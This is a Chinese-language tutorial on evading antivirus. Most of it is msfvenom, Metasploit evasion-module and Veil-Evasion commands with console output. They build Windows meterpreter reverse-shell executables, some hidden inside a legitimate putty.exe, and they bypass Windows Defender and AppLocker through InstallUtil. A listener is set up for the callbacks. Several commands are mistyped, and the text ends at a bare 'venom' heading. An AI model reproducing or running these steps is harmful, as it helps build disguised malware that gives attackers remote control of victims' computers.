msf免杀

msf自编码处理

使用msfvenom --list eencoders可查看所有编码

评级最高的两个encoder为 cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这设置15次,并使用了-b参数去掉payload中的空字符。

msfvenom-p windows/meterpreter/reverse_tcp LHosT=10.211.55.2 LPoRT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -fexe -0 payload2.exe

由于shikata_ga_nai编码技术是多态的,也就是说每次成的payload件都不一样,有时成的件会被查杀,有时却不会。当然这个也和编码次数有定关系,编码次数好像超过70次就经常成出错,但是编码次数多并不代表免杀能强。

msf自捆绑免杀

在成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。

我这里使用一个正规的putty.exe作为被捆绑测试软件。生成payload命令如下

msfvenom -p windows/meterpreter/reverse_tcp LH0sT=10.211.55.2 LP0RT=3333 -X putty.exe -f exe -0 payload3.exe

生成的两个文件对比,大小完全一样。

msf自捆绑+编码

将上面的编码和捆绑两种法结合下进尝试

msfvenom -p windows/meterpreter/reverse_tcp LH0sT=10.211.55.2 LP0RT=3333 -e x86/shikata_ga_nai -X putty.exe -i 15-f exe -0 payload4.exe

msfvenom多重编码

msfvenom的encoder编码器可以对payload进定程度免杀,同时还可以使msfvenom多重编码功能,通过管道,让msfvenom不同编码器反复编码进行混淆。

如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw |msfvenom -e x86/alpha_upper -i 10 -f raw  msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -0 payload5.exe

还有这种更多重编码姿势

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe

Evasion模块exe

使用use windows/windows_defender_exe进行生成payload

msf5 > use windows/windows_defender_exe 
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe 
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp 
msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3 
msf5 evasion(windows/windows_defender_exe) > set LPORT 3333 
msf5 evasion(windows/windows_defender_exe) > run

生成hta

用另外—个evasion模块windows/windows_defender_js_hta生成一下,360同样被杀

生成install_util

evasion还提供了其他几个模块,比如windows/applocker_evasion_install_util 创建payload

msf5 > use windows/applocker_evasion_install_util
msf5 evasion(windows/applocker_evasion_install_util) > set payloadwindows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/applocker_evasion_install_util) > set lhost
10.211.55.2
thost => 10.211.55.2
msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333
lport => 3333
msf5 evasion(windows/applocker_evasion_install_util) > run
[+] install_util.txt stored at
/Users/xysoul/.msf4/local/install_util.txt
[*] Copy install_util.txt to the target
[*] Compile using:C:\Windows\Microsoft.Net\Framework\[.NETVersionl\csc.exe /out:install_util.exe install_util.txt
[*] Execute using:C:\Windows\Microsoft.Net\Framework\[.NETVersionl\InstallUtil.exe /logfile= /LogToConsole=false /Uinstall_util.exe

根据说明,需要使用csc.exe进行编译一下,然后用Instaltutil.exe加载文件,

csc.exe是微软.NETFrameWork 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。

直接执行install_util.exe是没有任何反应的,需要使用Instaltutil.exe/logfile= /LogToConsole=false /U install_util.exe来加载。

veil免杀

Evasion和Ordnance

Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。

我们⼀般选择Evasion

Veil>: use 1 # 选择Evasion 功能 
Veil/Evasion>: list # 查看payload 列表

使用list可以看到到41种stager

推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较的交互就容易被查杀。

veil原理可以参考这篇文章:https://xz.aliyun.com/t/4191

使用veil直接生成exe

veil可以直接生成支持msf的payload,我们先试一下看看效果。 我们使用go语言生成msf的payload

Veil/Evasion>:use 16

设置好msf的监听主机和端口就可以

因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。 在msf中监听

msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lport 3334 
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit

在测试主机执行go_msf.exe,发现msf中可上线

使用veil+mingw-w64

先用veil生成shellcode

# veil 
use 1    #选择使用 Veil-Evasion模块
Veil-Evasion Menu
    41 payloads loaded
Available Commands:
    back        Go to main Veil menu
    checkvt     Check virustotal against generated hashes
    clean       Remove generated artifacts
    exit        Exit Veil
    info        Information on a specific payload
    list        List available payloads
    use         Use a specific payload
Veil-Evasion command: use 7 #选择payload

c/meterpreter/rev_tcp-py

[cs/meterpreter/rev_tcp>>] set LH0sT 10.211.55.2
[cs/meterpreter/rev_tcp>>] set LP0RT 3333
[cs/meterpreter/rev_tcp>>] generate

先生成一个可以被msf 利用的c_msf.c然后用mingW-w64 来编译

venom免杀